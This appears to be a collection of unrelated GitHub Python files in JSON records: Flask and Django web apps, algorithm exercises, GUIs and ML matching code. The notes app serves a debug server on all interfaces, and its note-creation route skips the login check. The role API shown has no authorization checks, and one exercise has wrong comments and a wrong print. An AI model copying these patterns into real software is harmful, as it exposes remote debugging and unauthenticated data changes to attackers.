wrong password\n\t\t\tflash('Wrong username or password!')\n\t\telse:\n\t\t\tsession[LOGGED_IN_KEY] = True\n\t\t\tsession[USERMODEL_ID_KEY] = user.id\n\t\t\tflash('You are signed in!')\n\treturn redirect('/login')\n\n@app.get('/register')\ndef register_template():\n\treturn render_template('register.html')\n\n@app.post('/register')\ndef register():\n\tusername = request.form['username']\n\temail = request.form['email']\n\tpassword = request.form['password']\n\n\tuser: Optional[UserModel] = db_session.query(UserModel).filter(UserModel.username == username).first()\n\tif user:\n\t\tflash('Username already exists')\n\t\treturn redirect('/register')\n\t\n\tuser = UserModel(username, email, password)\n\tdb_session.add(user)\n\tdb_session.commit()\n\treturn redirect('/login')\n\n##### logged in only #####\n@app.get('/home')\ndef home():\n\tif not logged_in_test(session):\n\t\treturn redirect('/login')\n\n\tcurrent_user_id = session[USERMODEL_ID_KEY]\n\tcurrent_user = db_session.query(UserModel).filter(UserModel.id == current_user_id).first()\n\treturn render_template('home.html', user=current_user, user_creation=current_user.creation.strftime('%d.%m.%Y'))\n\n@app.get('/add_note')\ndef add_note_template():\n\tif not logged_in_test(session):\n\t\treturn redirect('/login')\n\t\n\treturn render_template('new_note.html')\n\n@app.post('/add_note')\ndef add_note():\n\ttitle = request.form['title']\n\tbody = request.form['body']\n\n\tif not (3 <= len(title) <= 50 and body is not None):\n\t\tabort(400)\n\t\n\tnote = NoteModel(title, body, int(session[USERMODEL_ID_KEY]))\n\tdb_session.add(note)\n\tdb_session.commit()\n\treturn redirect('/home')\n\n@app.get('/note/')\ndef shot_note(note_id: int):\n\tif not logged_in_test(session):\n\t\treturn redirect('/login')\n\t\n\tcurrent_user_id = session[USERMODEL_ID_KEY]\n\tnote = db_session.query(NoteModel).filter(NoteModel.id == note_id, NoteModel.parent_id == current_user_id).first()\n\n\tif note is None:\n\t\tabort(400)\n\t\n\tprint(f'Note body:\\n\"{note.body}\"')\n\treturn render_template('show_note.html', note=note)\n\n@app.post('/note/')\ndef update_note(note_id: int):\n\tif not logged_in_test(session):\n\t\treturn redirect('/login')\n\n\tnew_title = request.form['title']\n\tnew_body = request.form['body']\n\n\tcurrent_user_id = session[USERMODEL_ID_KEY]\n\tnote = db_session.query(NoteModel).filter(NoteModel.id == note_id, NoteModel.parent_id == current_user_id).first()\n\n\tif note is None:\n\t\tabort(400)\n\t\n\tnote.update(new_title, new_body)\n\tdb_session.commit()\n\treturn redirect(f'/note/{note_id}')\n\n@app.get('/note/delete/')\ndef delete_note(note_id: int):\n\tif not logged_in_test(session):\n\t\treturn redirect('/login')\n\n\tcurrent_user_id = session[USERMODEL_ID_KEY]\n\tnote = db_session.query(NoteModel).filter(NoteModel.id == note_id, NoteModel.parent_id == current_user_id).first()\n\n\tif note is None:\n\t\tabort(400)\n\t\n\tdb_session.delete(note)\n\tdb_session.commit()\n\treturn redirect('/home')\n\nif __name__ == '__main__':\n\tapp.secret_key = os.urandom(12)\n\tapp.run('0.0.0.0', 5000, debug=True)\n","repo_name":"marnagy/NotesWeb","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"43758493042","text":"\n\ndef can_traverse(gas, cost, start):\n n = len(gas)\n remaining = 0\n i = start\n started = False\n while i != start or not started :\n started = True\n remaining += gas[i] - cost[i]\n if remaining < 0 :\n return False\n i = (i+1)%n\n return True\n\ndef gas_station(gas, cost) :\n for i in range(len(gas)) :\n if can_traverse(gas, cost, i):\n return i\n return -1\n\n#second station\ndef gas_station_2(gas, cost):\n remaining = 0\n candidate = 0\n for i in range(len(gas)):\n remaining += gas[i] - cost[i]\n if remaining < 0 :\n candidate = i + 1\n remaining = 0\n prev_remaining = sum(gas[:candidate]) - sum(cost[:candidate])\n if candidate == len(gas) or remaining+prev_remaining < 0 :\n return -1\n return candidate\n\n\nif __name__ == \"__main__\" :\n gas = [1, 5, 3, 3, 5, 3, 1, 3, 4, 5]\n cost = [5, 2, 2, 8, 2, 4, 2, 5, 1, 2]\n print(gas_station(gas, cost))\n print(gas_station_2(gas, cost))","repo_name":"leolo0626/effective_python","sub_path":"algorithm/gas_station.py","file_name":"gas_station.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"43178733420","text":"import numpy\nfrom pathlib import Path\n\n\ninput = Path('data.txt').read_text()\nnumberList = {\n\"one\": 1, \n\"two\": 2, \n\"three\": 3, \n\"four\": 4, \n\"five\": 5, \n\"six\": 6,\n\"seven\": 7,\n\"eight\": 8,\n\"nine\": 9}\n# Text parser which takes in doctor's clinical note as input and \n# reformats it to include numbered lists.\n# Notes\n#1. There is no functionality to end a list\n#2. A new list cannot be started after the first one\n#3. If list starts from number n, an empty numbered list uptill n is not added\n#4. List can only be started from numbers 1-9\n#5. A list item cannot be empty\n# 5a. No support for cases like \"number one number next abcd\"\n# 5b. An empty item cannot be at the end eg. \"... number next\"\n#6.If number next is stated before started a list i.e. saying number 1-9, it will not start a new list\n\n\ndef TextParser(input):\n\toutputText = \"\"\n\twords = input.split()\n\tindex = 0\n\tcurrentNumber = 0\n\tlistStarted = False\n\t# Iterates through each word in the list\n\twhile index < len(words):\n\t\t# If \"number\" is encountered, checks the next two values to decide if a new item in a numbered list is being added\n\t\tif words[index].lower() == \"number\" and index < len(words) - 2:\n\t\t\tnumber = words[index + 1].lower()\n\t\t\tif number == \"next\" and listStarted:\n\t\t\t\tcurrentNumber += 1\n\t\t\t\tfirstWord = words[index + 2].capitalize()\n\t\t\t\toutputText += \"\\n\" + str(currentNumber) + \". \" + firstWord + \" \"\n\t\t\t\tindex += 2\n\t\t\telif not listStarted and number in numberList:\n\t\t\t\tcurrentNumber = numberList[number]\n\t\t\t\tfirstWord = words[index + 2].capitalize()\n\t\t\t\toutputText += \"\\n\" + str(currentNumber) + \". \" + firstWord + \" \"\n\t\t\t\tindex += 2\n\t\t\t\tlistStarted = True\n\t\t\t# If a new item is not added in the list, treats the word as normal input\n\t\t\telse:\n\t\t\t\toutputText += words[index] + \" \"\n\t\telse:\n\t\t\toutputText += words[index] + \" \"\n\t\tindex += 1\n\n\treturn outputText\n\nprint(TextParser(input))\n\n","repo_name":"samarth-bhutani/assignment","sub_path":"assgnment.py","file_name":"assgnment.py","file_ext":"py","file_size_in_byte":1863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"70290323454","text":"#Print sum of all even numbers\ntotal = 0\nfor number in range(2, 101, 2):\n total += number#this will add every number in the given range, starting from 2 to 100\n print(total)#2+3+4+5+...+100, giving us 2 6 12 ...2550\nprint(total)#as the indentation is removed it only prints 2500\n\n\n#OR\ntotal2 = 0\nfor number in range(1,101):\n if number % 2 == 0:\n total2 += number\nprint(total)#prints 2500","repo_name":"fatemakotha/100-Days-of-Python-Bootcamp-uptoDAY30","sub_path":"Loop print sum of all even numbers.py","file_name":"Loop print sum of all even numbers.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6519168691","text":"# coding=utf-8\n\nfrom google.appengine.api import mail\n\n\nclass EMailer(object):\n @classmethod\n def send(self, subject, email, body):\n message = mail.EmailMessage(\n sender='{} <{}>'.format('Mimail 系統通知', 'cage-20160705-edm@appspot.gserviceaccount.com'),\n subject=subject,\n body=body,\n to=email\n )\n\n message.send()\n","repo_name":"cage1016/test","sub_path":"tasks/alarm.py","file_name":"alarm.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71432269053","text":"from PIL import Image\nfrom PIL import ImageDraw\nfrom PIL import ImageFont\nimport random\nfrom django.shortcuts import reverse\nfrom copy import deepcopy\nfrom django.core.paginator import Paginator\n\n\nclass CustomPaginator(Paginator):\n def __init__(self,qs,request,page_key='page',page_size=5,show_pager_count=4):\n super(CustomPaginator, self).__init__(qs,page_size)\n self.request = request\n self.page_key = page_key\n self.show_pager_count = show_pager_count\n\n self.current_page_obj = self.get_current_page_obj()\n\n def get_current_page_obj(self):\n current_page_num = self.request.GET.get(self.page_key,\"\")\n try:\n current_page_num = int(current_page_num)\n except Exception as e:\n current_page_num = 1\n print(current_page_num)\n return self.page(current_page_num)\n\n def get_current_page_object_list(self):\n return self.current_page_obj.object_list\n\n\n def gen_page_html(self):\n\n html = \"\"\n\n front_tag = False\n back_tag = False\n half_show_count, remainder = divmod(self.show_pager_count, 2)\n\n\n if self.num_pages < self.show_pager_count:\n start = 1\n end = self.num_pages + 1\n if end -1 < self.num_pages:\n back_tag = True\n else:\n if self.current_page_obj.number <= half_show_count:\n start = 1\n end = self.show_pager_count + 1\n if end -1 < self.num_pages:\n back_tag = True\n else:\n if self.current_page_obj.number + half_show_count > self.num_pages:\n start = self.num_pages - self.show_pager_count + 1\n end = self.num_pages + 1\n if start != 1:\n front_tag = True\n if end-1 < self.num_pages:\n back_tag = True\n\n else:\n\n start = self.current_page_obj.number - half_show_count\n\n end = self.current_page_obj.number + half_show_count\n if remainder:\n end += 1\n if start != 1:\n front_tag = True\n if end-1 < self.num_pages:\n back_tag = True\n\n if start >1:\n html += ''''''\n\n\n\n if self.current_page_obj.has_previous():\n html += ''''''.format(\n self.current_page_obj.previous_page_number())\n\n if front_tag:\n html+= ''''''\n\n for p in range(start,end):\n html+= ''''''.format(str(p),\"active\" if p == self.current_page_obj.number else \"\" ,str(p))\n\n if back_tag:\n html+= ''''''\n\n if self.current_page_obj.has_next():\n html+= ''''''.format(self.current_page_obj.next_page_number())\n\n if end-1 < self.num_pages:\n html += ''''''.format(str(self.num_pages))\n\n return html\nclass ValidCodeImg:\n def __init__(self, width=150, height=30, code_count=4, font_size=32, point_count=20, line_count=3,\n img_format='png'):\n '''\n 可以生成一个经过降噪后的随机验证码的图片\n :param width: 图片宽度 单位px\n :param height: 图片高度 单位px\n :param code_count: 验���码个数\n :param font_size: 字体大小\n :param point_count: 噪点个数\n :param line_count: 划线个数\n :param img_format: 图片格式\n :return 生成的图片的bytes类型的data\n '''\n self.width = width\n self.height = height\n self.code_count = code_count\n self.font_size = font_size\n self.point_count = point_count\n self.line_count = line_count\n self.img_format = img_format\n\n @staticmethod\n def getRandomColor():\n '''获取一个随机颜色(r,g,b)格式的'''\n c1 = random.randint(0, 255)\n c2 = random.randint(0, 255)\n c3 = random.randint(0, 255)\n return (c1, c2, c3)\n\n @staticmethod\n def getRandomStr():\n '''获取一个随机字符串,每个字符的颜色也是随机的'''\n random_num = str(random.randint(0, 9))\n random_low_alpha = chr(random.randint(97, 122))\n random_upper_alpha = chr(random.randint(65, 90))\n random_char = random.choice([random_num, random_low_alpha, random_upper_alpha])\n return random_char\n\n def getValidCodeImg(self):\n # 获取一个Image对象,参数分别是RGB模式。宽150,高30,随机颜色\n image = Image.new('RGB', (self.width, self.height), self.getRandomColor())\n\n # 获取一个画笔对象,将图片对象传过去\n draw = ImageDraw.Draw(image)\n\n # 获取一个font字体对象参数是ttf的字体文件的目录,以及字体的大小\n import os\n BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n font_file_path = os.path.join(BASE_DIR,'pbv2','GOTHIC.TTF')\n font = ImageFont.truetype(font_file_path, size=self.font_size)\n\n temp = []\n for i in range(self.code_count):\n # 循环5次,获取5个随机字符串\n random_char = self.getRandomStr()\n\n # 在图片上一次写入得到的随机字符串,参数是:定位,字符串,颜色,字体\n draw.text((10 + i * 30, -2), random_char, self.getRandomColor(), font=font)\n\n # 保存随机字符,以供验证用户输入的验证码是否正确时使用\n temp.append(random_char)\n valid_str = \"\".join(temp)\n\n # 噪点噪线\n # 划线\n for i in range(self.line_count):\n x1 = random.randint(0, self.width)\n x2 = random.randint(0, self.width)\n y1 = random.randint(0, self.height)\n y2 = random.randint(0, self.height)\n draw.line((x1, y1, x2, y2), fill=self.getRandomColor())\n\n # 画点\n for i in range(self.point_count):\n draw.point([random.randint(0, self.width), random.randint(0, self.height)], fill=self.getRandomColor())\n x = random.randint(0, self.width)\n y = random.randint(0, self.height)\n draw.arc((x, y, x + 4, y + 4), 0, 90, fill=self.getRandomColor())\n\n # 在内存生成图片\n from io import BytesIO\n f = BytesIO()\n image.save(f, self.img_format)\n data = f.getvalue()\n f.close()\n\n return data, valid_str\n\n\nif __name__ == '__main__':\n pass\n # import os\n #\n #\n # BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\n # print(BASE_DIR)\n # img = ValidCodeImg()\n # data, valid_str = img.getValidCodeImg()\n # print(valid_str)\n #\n # f = open('test.png', 'wb')\n # f.write(data)","repo_name":"zhaobin022/pbv2","sub_path":"pbv2/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":7259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"73253743933","text":"from tkinter import *\n\nroot = Tk()\n\ncanvas = Canvas(root, width=730, height=600)\ncanvas.pack(fill=\"both\", expand=True)\n\nbgImg = PhotoImage(file=\"./img/night-bg.png\")\n\ncanvas.create_image(370, 330, image=bgImg)\n\nl1 = Label(canvas, text=\"Hello, world\")\ne1 = Entry(canvas)\nt1 = Text(canvas)\n\nl1.grid(row=0, column=0, sticky=\"ew\", padx=10)\ne1.grid(row=1, column=1, sticky=\"ew\")\nt1.grid(row=2, column=2, sticky=\"nsew\")\n\ncanvas.grid_rowconfigure(2, weight=1)\ncanvas.grid_columnconfigure(2, weight=1)\n\nroot.mainloop()","repo_name":"kevinheych/WeatherApp","sub_path":"WeatherApp/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40781779392","text":"from copy import deepcopy\n\nfrom flask import Blueprint, request\nfrom flask_sqlalchemy.pagination import Pagination\n\nfrom pear_admin.extensions import db\nfrom pear_admin.orms import RightsORM, RoleORM\n\nrole_api = Blueprint(\"role\", __name__)\n\n\n@role_api.get(\"/role\")\ndef role_list():\n page = request.args.get(\"page\", default=1, type=int)\n per_page = request.args.get(\"limit\", default=10, type=int)\n q = db.select(RoleORM)\n\n pages: Pagination = db.paginate(q, page=page, per_page=per_page)\n\n return {\n \"code\": 0,\n \"message\": \"获取角色数据成功\",\n \"data\": [item.json() for item in pages.items],\n \"count\": pages.total,\n }\n\n\n@role_api.post(\"/role\")\ndef create_role():\n data = request.get_json()\n if data[\"id\"]:\n del data[\"id\"]\n role = RoleORM(**data)\n role.save()\n return {\"code\": 0, \"message\": \"新增角色成功\"}\n\n\n@role_api.put(\"/role/\")\ndef change_role(rid):\n data = request.get_json()\n del data[\"id\"]\n\n role_obj = RoleORM.query.get(rid)\n for key, value in data.items():\n setattr(role_obj, key, value)\n role_obj.save()\n return {\"code\": 0, \"message\": \"修改角色权限成功\"}\n\n\n@role_api.delete(\"/role/\")\ndef del_role(rid):\n role_obj = RoleORM.query.get(rid)\n role_obj.delete()\n return {\"code\": 0, \"message\": \"删除角色成功\"}\n\n\n@role_api.get(\"/role/role_rights/\")\ndef role_rights(rid):\n role: RoleORM = db.session.execute(\n db.select(RoleORM).where(RoleORM.id == rid)\n ).scalar()\n own_rights_list = [r.id for r in role.rights_list]\n\n return {\n \"code\": 0,\n \"message\": \"返回角色权限数据成功\",\n \"data\": own_rights_list,\n }\n\n\n@role_api.put(\"/role/role_rights/\")\ndef change_role_rights(rid):\n rights_ids = request.json.get(\"rights_ids\", \"\")\n\n rights_list = rights_ids.split(\",\")\n role: RoleORM = db.session.execute(\n db.select(RoleORM).where(RoleORM.id == rid)\n ).scalar()\n rights_obj_list = db.session.execute(\n db.select(RightsORM).where(RightsORM.id.in_(rights_list))\n ).all()\n role.rights_list = [r[0] for r in rights_obj_list]\n role.save()\n return {\"code\": 0, \"message\": \"授权成功\"}\n","repo_name":"zhengxinonly/pear-admin-flask","sub_path":"pear_admin/apis/role.py","file_name":"role.py","file_ext":"py","file_size_in_byte":2233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6749833505","text":"import tensorflow as tf\n\n\ndef get_matched_features(features_a, features_b, sinkhorn_lambda, nr_sinkhorn_iter):\n\n n = features_a.get_shape().as_list()[1]\n fa_batch1, fa_batch2 = tf.split(features_a, 2, axis=0)\n fb_batch1, fb_batch2 = tf.split(features_b, 2, axis=0)\n\n # calculate all distances\n dist_a1_a2 = []\n dist_b2_b1 = []\n dist_a1_b1 = []\n dist_a1_b2 = []\n dist_a2_b1 = []\n dist_a2_b2 = []\n asq = 0.5 * tf.reduce_mean(tf.square(fa_batch1), axis=1, keep_dims=True)\n dist_a1_a2.append(\n asq + 0.5 * tf.reshape(tf.reduce_mean(tf.square(fa_batch2), axis=1), [1, -1]) - tf.matmul(fa_batch1,\n fa_batch2,\n transpose_b=True) / n)\n dist_a1_b1.append(\n asq + 0.5 * tf.reshape(tf.reduce_mean(tf.square(fb_batch1), axis=1), [1, -1]) - tf.matmul(fa_batch1,\n fb_batch1,\n transpose_b=True) / n)\n dist_a1_b2.append(\n asq + 0.5 * tf.reshape(tf.reduce_mean(tf.square(fb_batch2), axis=1), [1, -1]) - tf.matmul(fa_batch1,\n fb_batch2,\n transpose_b=True) / n)\n\n asq = 0.5 * tf.reduce_mean(tf.square(fa_batch2), axis=1, keep_dims=True)\n bsq = 0.5 * tf.reduce_mean(tf.square(fb_batch2), axis=1, keep_dims=True)\n\n dist_a2_b1.append(\n asq + 0.5 * tf.reshape(tf.reduce_mean(tf.square(fb_batch1), axis=1), [1, -1]) - tf.matmul(fa_batch2,\n fb_batch1,\n transpose_b=True) / n)\n dist_a2_b2.append(\n asq + 0.5 * tf.reshape(tf.reduce_mean(tf.square(fb_batch2), axis=1), [1, -1]) - tf.matmul(fa_batch2,\n fb_batch2,\n transpose_b=True) / n)\n dist_b2_b1.append(\n bsq + 0.5 * tf.reshape(tf.reduce_mean(tf.square(fb_batch1), axis=1), [1, -1]) - tf.matmul(fb_batch2,\n fb_batch1,\n transpose_b=True) / n)\n\n distances = [tf.concat(dist_a1_a2, 0), tf.concat(dist_b2_b1, 0),\n tf.concat(dist_a1_b1, 0), tf.concat(dist_a1_b2, 0),\n tf.concat(dist_a2_b1, 0), tf.concat(dist_a2_b2, 0)]\n\n # use Sinkhorn algorithm to do soft assignment\n assignments = []\n entropy = []\n for i in range(len(distances)):\n log_a = -sinkhorn_lambda * distances[i]\n for it in range(nr_sinkhorn_iter):\n log_a -= tf.reduce_logsumexp(log_a, axis=1, keep_dims=True)\n log_a -= tf.reduce_logsumexp(log_a, axis=0, keep_dims=True)\n\n assignments.append(tf.nn.softmax(log_a))\n entropy.append(\n tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=assignments[-1], logits=log_a)))\n\n assignment_a1_a2, assignment_b2_b1, assignment_a1_b1, assignment_a1_b2, \\\n assignment_a2_b1, assignment_a2_b2 = assignments\n entropy = sum(entropy) / len(entropy)\n\n # get matched features\n features_a1_a2_matched = tf.matmul(assignment_a1_a2, fa_batch2)\n features_b1_b2_matched = tf.matmul(assignment_b2_b1, fb_batch2, transpose_a=True)\n features_a1_b1_matched = tf.matmul(assignment_a1_b1, fb_batch1)\n features_a1_b2_matched = tf.matmul(assignment_a1_b2, fb_batch2)\n features_a2_b1_matched = tf.matmul(assignment_a2_b1, fb_batch1)\n features_a2_b2_matched = tf.matmul(assignment_a2_b2, fb_batch2)\n features_a2_a1_matched = tf.matmul(assignment_a1_a2, fa_batch1, transpose_a=True)\n features_b2_b1_matched = tf.matmul(assignment_b2_b1, fb_batch1)\n features_b1_a1_matched = tf.matmul(assignment_a1_b1, fa_batch1, transpose_a=True)\n features_b2_a1_matched = tf.matmul(assignment_a1_b2, fa_batch1, transpose_a=True)\n features_b1_a2_matched = tf.matmul(assignment_a2_b1, fa_batch2, transpose_a=True)\n features_b2_a2_matched = tf.matmul(assignment_a2_b2, fa_batch2, transpose_a=True)\n\n\n features_a_a = tf.concat([features_a1_a2_matched, features_a2_a1_matched], axis=0)\n features_b_b = tf.concat([features_b1_b2_matched, features_b2_b1_matched], axis=0)\n\n features_a_b = tf.concat([features_a1_b1_matched, features_a2_b1_matched], axis=0) + \\\n tf.concat([features_a1_b2_matched, features_a2_b2_matched], axis=0)\n features_a_b = features_a_b * 0.5\n\n features_b_a = tf.concat([features_b1_a1_matched, features_b2_a1_matched], axis=0) + \\\n tf.concat([features_b1_a2_matched, features_b2_a2_matched], axis=0)\n\n features_b_a = features_b_a * 0.5\n\n return features_a_a, features_b_b, features_a_b, features_b_a, entropy\n\n\ndef get_matched_features_single_batch(features_a, features_b, sinkhorn_lambda, nr_sinkhorn_iter, batch_size):\n \"\"\" simplified, more efficient, but slightly wrong, version of the original (two-batch) matching code \"\"\"\n\n ngpu = len(features_a)\n # batch_size = features_a[0].get_shape().as_list()[0]\n n = features_a[0].get_shape().as_list()[1]\n\n # gather all features\n fa_all = tf.concat(features_a, axis=0)\n fa_all_sq = 0.5 * tf.reshape(tf.reduce_mean(tf.square(fa_all), axis=1), [1, -1])\n fb_all = tf.concat(features_b, axis=0)\n fb_all_sq = 0.5 * tf.reshape(tf.reduce_mean(tf.square(fb_all), axis=1), [1, -1])\n\n # calculate all distances\n dist_a_a = []\n dist_b_b = []\n dist_a_b = []\n for i in range(ngpu):\n with tf.device('/gpu:%d' % i):\n asq = 0.5 * tf.reduce_mean(tf.square(features_a[i]), axis=1, keep_dims=True)\n bsq = 0.5 * tf.reduce_mean(tf.square(features_b[i]), axis=1, keep_dims=True)\n dist_a_a.append(asq + fa_all_sq - tf.matmul(features_a[i], fa_all, transpose_b=True) / n)\n dist_b_b.append(bsq + fb_all_sq - tf.matmul(features_b[i], fb_all, transpose_b=True) / n)\n dist_a_b.append(asq + fb_all_sq - tf.matmul(features_a[i], fb_all, transpose_b=True) / n)\n\n # combine results + add a bit to the diagonal to prevent self-matches\n distances = [tf.concat(dist_a_a, 0) + 999. * tf.eye(batch_size),\n tf.concat(dist_b_b, 0) + 999. * tf.eye(batch_size),\n tf.concat(dist_a_b, 0)]\n\n # use Sinkhorn algorithm to do soft assignment\n assignments = []\n entropy = []\n for i in range(len(distances)):\n with tf.device('/gpu:%d' % (i % ngpu)):\n log_a = -sinkhorn_lambda * distances[i]\n\n for it in range(nr_sinkhorn_iter):\n log_a -= tf.reduce_logsumexp(log_a, axis=1, keep_dims=True)\n log_a -= tf.reduce_logsumexp(log_a, axis=0, keep_dims=True)\n\n assignments.append(tf.nn.softmax(log_a))\n entropy.append(\n tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=assignments[-1], logits=log_a)))\n\n assignment_a_a, assignment_b_b, assignment_a_b = assignments\n entropy = sum(entropy) / len(entropy)\n\n # get matched features\n features_a_a = tf.split(tf.matmul(assignment_a_a, fa_all), ngpu, 0)\n features_b_b = tf.split(tf.matmul(assignment_b_b, fb_all), ngpu, 0)\n features_a_b = tf.split(tf.matmul(assignment_a_b, fb_all), ngpu, 0)\n features_b_a = tf.split(tf.matmul(assignment_a_b, fa_all, transpose_a=True), ngpu, 0)\n\n return features_a_a, features_b_b, features_a_b, features_b_a, entropy\n\n\ndef calc_distance(features_a, features_b, matched_features):\n features_a_a, features_b_b, features_a_b, features_b_a, _ = matched_features\n\n nd_a_a = tf.reduce_mean(features_a * features_a_a)\n nd_b_b = tf.reduce_mean(features_b * features_b_b)\n nd_a_b = tf.reduce_mean(features_a * features_a_b)\n total_dist = nd_b_b + nd_a_a - 2. * nd_a_b\n\n total_dist = total_dist / (2.)\n return total_dist\n","repo_name":"MiguelMoutela/ot-gan","sub_path":"toy_example/matching_cpu.py","file_name":"matching_cpu.py","file_ext":"py","file_size_in_byte":8471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"27122771705","text":"from tkinter import *\nimport wikipedia as wiki\n\nroot = Tk()\nroot.title('')\nicon = PhotoImage(file='lupa.png')\nroot.iconphoto(True, icon)\nroot.geometry(\"900x875\")\n\n\n# clear\ndef clear():\n my_entry.delete(0, END)\n my_text.delete(0.0, END)\n\n\n# search\ndef search():\n data = wiki.summary(my_entry.get(), sentences=33)\n # clear screen\n clear()\n # output wikipedia to textbox\n my_text.insert(0.0, data)\n\n\nmy_label_frame = LabelFrame(root, text=\"Search Wikipedia\")\nmy_label_frame.pack(pady=20)\n\nmy_entry = Entry(my_label_frame, font=(\"Helvetica\", 18), fg=\"black\", width=47)\nmy_entry.pack(pady=20, padx=20)\n\n# textbox frame\nmy_frame = Frame(root)\nmy_frame.pack(pady=5)\n\n# vertical scroll bar\ntext_scroll = Scrollbar(my_frame)\ntext_scroll.pack(side=RIGHT, fill=Y)\n\nhor_scroll = Scrollbar(my_frame, orient='horizontal')\nhor_scroll.pack(side=BOTTOM, fill=X)\n\n# text box\nmy_text = Text(my_frame, yscrollcommand=text_scroll.set, wrap=\"word\", xscrollcommand=hor_scroll, bg=\"white\",\n fg=\"black\",\n font=(\"Helvetica\", 15))\nmy_text.pack()\n\n# config scrollbars\ntext_scroll.config(command=my_text.yview)\nhor_scroll.config(command=my_text.yview)\n\n# button-frame\nbutton_frame = Frame(root)\nbutton_frame.pack(pady=10)\n\n# Two Buttons:\nsearch_button = Button(button_frame, text=\"Search\", font=(\"Helvetica\", 33), fg=\"black\", command=search)\nsearch_button.grid(row=0, column=0, padx=20)\n\nclear_button = Button(button_frame, text=\"Clear\", font=(\"Helvetica\", 33), fg=\"black\", command=clear)\nclear_button.grid(row=0, column=1)\n\nroot.mainloop()\n","repo_name":"mfluxl/wikipedia-search","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1561,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"2905083756","text":"'''\r\nCreated on Nov 24, 2014\r\n\r\n@author: mbilgic\r\n'''\r\n\r\nimport numpy as np\r\nfrom scipy.sparse import diags\r\n\r\ndef pos_neg_evi_nn_sparse_data(X, coef):\r\n \"\"\"Return positive and negative evidence for sparse matrices with non-negative values\"\"\"\r\n \r\n num_feat = X.shape[1] \r\n \r\n coef_gt0 = coef > 0\r\n coef_lt0 = coef < 0\r\n \r\n \r\n pos_coef = np.zeros(num_feat)\r\n neg_coef = np.zeros(num_feat)\r\n \r\n pos_coef[coef_gt0] = coef[coef_gt0]\r\n neg_coef[coef_lt0] = coef[coef_lt0]\r\n \r\n \r\n pos_coef_diags = diags(pos_coef,0)\r\n neg_coef_diags = diags(neg_coef,0)\r\n \r\n \r\n pm = X*pos_coef_diags\r\n nm = X*neg_coef_diags\r\n \r\n pos_evi = pm.sum(axis=1).A1\r\n neg_evi = nm.sum(axis=1).A1\r\n \r\n return pos_evi, neg_evi\r\n\r\ndef pos_neg_evi(X, coef):\r\n \"\"\"Return positive and negative evidence for non-sparse matrices\"\"\"\r\n \r\n num_inst, num_feat = X.shape\r\n \r\n coef_diags = diags(coef,0)\r\n \r\n dm = X*coef_diags\r\n \r\n pos_evi = np.zeros(num_inst)\r\n neg_evi = np.zeros(num_inst)\r\n \r\n for i in range(num_inst):\r\n for j in range(num_feat):\r\n evi = dm[i,j]\r\n if evi > 0:\r\n pos_evi[i] += evi\r\n else:\r\n neg_evi[i] += evi\r\n \r\n return pos_evi, neg_evi\r\n\r\n","repo_name":"m-bilgic/Evidence","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"41085609380","text":"import os\nimport pickle\n\n\ndef save_pickle(path, data):\n with open(path, 'wb') as w:\n pickle.dump(data, w, protocol=pickle.HIGHEST_PROTOCOL)\n print(\"Saved: {}\".format(path))\n\n\ndef walker(path):\n locations = []\n for root, dirs, files in os.walk(path):\n for f in files:\n path = os.path.join(root, f)\n if '.git' in path and 'Trash' not in path:\n path, _ = path.split('.git')\n locations.append(path + '.git')\n return set(locations)\n\n\nif __name__ == '__main__':\n gits = walker(os.path.expanduser('~/library/home/'))\n save_pickle('found_gits.pkl', gits)\n","repo_name":"foxyblue/foolgit","sub_path":"find_gits.py","file_name":"find_gits.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"39698145109","text":"from PyQt5.QtCore import pyqtSignal\n\nfrom PyQt5.QtCore import Qt, QCoreApplication\nfrom PyQt5.QtWidgets import QPushButton, QFrame, QGridLayout, QLabel, QTableWidget, QSizePolicy\n\nclass SettingsWidget(QFrame):\n \"\"\"\n class documentation:\n\n variable:\n\n methods:\n __init__(self, parent=None)\n __str__(self)\n __repr__(self)\n initUI(self)\n\n \"\"\"\n done = pyqtSignal()\n\n def __init__(self, parent=None):\n super(SettingsWidget, self).__init__(parent)\n self.initUI()\n\n def __str__(self):\n return \"SettingsWidget()\"\n\n def __repr__(self):\n return \"SettingsWidget()\"\n\n def initUI(self):\n\n self.setStyleSheet(\"\"\"\n background: qlineargradient(x1: 0, y1: 0, x2: 3, y2: 2,\n stop: 0 #000044, stop: 1 #111166);\n \"\"\")\n\n lbl = QLabel('Settings', self)\n lbl.setAlignment(Qt.AlignCenter)\n lbl.setStyleSheet(\"\"\"\n font: bold 45pt;\n color: #ffcc44;\n \"\"\")\n\n tbl = QTableWidget(self)\n tbl.setStyleSheet(\"\"\"\n background: white;\n \"\"\")\n\n quit_btn = QPushButton('Quit Controller',self)\n 